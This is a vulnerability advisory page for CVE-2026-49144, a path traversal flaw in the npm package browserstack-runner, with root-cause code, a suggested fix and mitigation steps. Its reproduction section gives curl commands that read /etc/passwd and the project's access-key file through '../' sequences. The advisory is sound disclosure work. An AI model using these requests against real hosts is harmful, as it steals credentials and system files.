NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-49144 — browserstack-runner

CVE-2026-49144 is a Path Traversal vulnerability in browserstack-runner. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

BrowserStack Runner 0.9.5 Path Traversal via _default HTTP Handler

Also known asGHSA-8rpw-6cqh-2v9h
Published
Updated
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-49144.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk+0.11%
Lower risk than most CVEs36th percentile — riskier than 36% of all scored CVEsHighest risk
0.00%0.31%0.61%0.92%0.2%0.2%0.2%0.3%0.4%Jul 26Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

browserstack-runnernpm
904downloads / week

Description

Summary

The HTTP server in browserstack-runner serves files from the project directory via the _default handler. This handler uses path.join(process.cwd(), uri) to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on 0.0.0.0 (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.

Root Cause

lib/server.js, lines 530–534 : _default handler:

'_default': function defaultHandler(uri, body, request, response) {
    var filePath = path.join(process.cwd(), uri);
    handleFile(filePath, request, response);
}

uri comes from url.parse(request.url).pathname (line 540), which preserves ../ sequences. path.join resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.

bin/cli.js, line 131 : server binding:

server.listen(parseInt(config.test_server_port, 10));

No hostname is specified, so Node.js binds on 0.0.0.0 (all interfaces).

No authentication: The _default handler does not call getWorkerUuid() or perform any authentication check.

Steps to Reproduce

Step 1 : Start the server (Terminal 1)

cd browserstack-runner
echo '<html><body>test</body></html>' > _poc_test.html
echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js

Step 2 : Read arbitrary files (Terminal 2)

Read /etc/hostname:

curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname"

Read /etc/passwd:

curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd"

Read the BrowserStack access key from config:

curl -s "http://127.0.0.1:8888/browserstack.json"

Note: --path-as-is is required because curl normalizes ../ sequences by default. Browsers and HTTP libraries that do not normalize URL paths (or that allow raw path construction) can exploit this without special flags.

Expected Result

  • /etc/hostname → server returns the machine hostname
  • /etc/passwd → server returns the full passwd file
  • browserstack.json → server returns the config including the BrowserStack access key

Impact

  • BrowserStack access key theft : browserstack.json is always in the project root (same directory the server serves from), and contains username and key in cleartext
  • Source code theft : all project files are readable
  • System file disclosure : /etc/passwd, /etc/shadow (if readable), SSH keys, .env files, .npmrc (npm tokens), etc.
  • Chainable with Finding #1 : same server, same exposure window, same network-adjacent attacker

Suggested Fix

  1. Validate the resolved path stays within the project root:
var filePath = path.resolve(process.cwd(), '.' + uri);
if (!filePath.startsWith(process.cwd() + path.sep)) {
    sendError(response, 'Forbidden', 403);
    return;
}
  1. Bind on 127.0.0.1
  2. Add authentication to the _default handler

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npmbrowserstack-runnerall versionsNo fix

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for browserstack-runner, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of browserstack-runner for CVE-2026-49144. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

## Summary The HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem. ## Root Cause **lib/server.js, lines 530–534 : `_default` handler:** ```javascript '_default': function defaultHandler(u
O3 Security · Impact-Aware SCA

Is CVE-2026-49144 in your dependencies?

Find it across npm, including transitive dependencies.

Scan my dependencies How O3 SCA works
CVE-2026-49144: browserstack-runner